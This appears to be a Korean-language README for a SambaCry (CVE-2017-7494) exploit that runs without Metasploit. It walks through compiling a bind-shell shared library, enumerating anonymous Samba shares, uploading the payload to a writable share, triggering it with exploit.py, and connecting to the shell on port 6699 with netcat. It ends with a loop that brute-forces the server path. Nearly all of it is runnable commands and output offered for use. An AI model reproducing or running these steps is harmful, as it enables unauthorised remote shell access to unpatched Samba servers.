
SambaCry (CVE-2017-7494) Samba용 익스플로잇 | Metasploit 없이 바인드 셸
SambaCry (CVE-2017-7494) 익스플로잇 - Samba 공격 (Metasploit 없이 바인드 셸)
포트를 변경해야 하는 경우 bindshell-samba.c의 68번 줄을 수정하고 다시 컴파일하세요:

gcc -c -fpic bindshell-samba.c
gcc -shared -o libbindshell-samba.so bindshell-samba.o
공격 방법:
공유 폴더 확인 (이 예제에서는 익명 사용자를 사용합니다):
smbclient -L //192.168.10.131/ -U "" -N
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
publico Disk Publico
IPC$ IPC IPC Service (maq131 server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP CHORA
폴더에 접근하여 사용자에게 쓰기 권한이 있는지 확인하세요:
smbclient //192.168.10.131/publico -U "" -N
쓰기 권한이 있으면 libbindshell-samba.so 파일을 업로드하세요:
smb: \> mput libbindshell-samba.so
Put file libbindshell-samba.so? yes
putting file libbindshell-samba.so as \libbindshell-samba.so (3.5 kb/s) (average 3.5 kb/s)
smb: \> dir
. D 0 Tue Nov 1 19:44:15 2022
.. D 0 Wed Jun 14 14:16:35 2017
libbindshell-samba.so A 8432 Tue Nov 1 19:44:17 2022
3997376 blocks of size 1024. 1960284 blocks available
smb: \>
그런 다음 익스플로잇을 실행하세요:
python2 exploit.py -t target_ip -m path_absoluto_server_side
예제:
python2 exploit.py -t 192.168.10.131 -m /home/publico/libbindshell-samba.so
6699/TCP 포트에 연결하세요:
nc -vn 192.168.10.131 6699
서버 측의 절대 경로를 모르는 경우 추측(guessing)을 수행하고 6699/TCP 포트가 열리기를 기다리는 것이 좋습니다:
for i in $(cat paths.txt);do python2 exploit.py -t 192.168.10.131 -m $i/publico/libbindshell-samba.so 2>/dev/null;done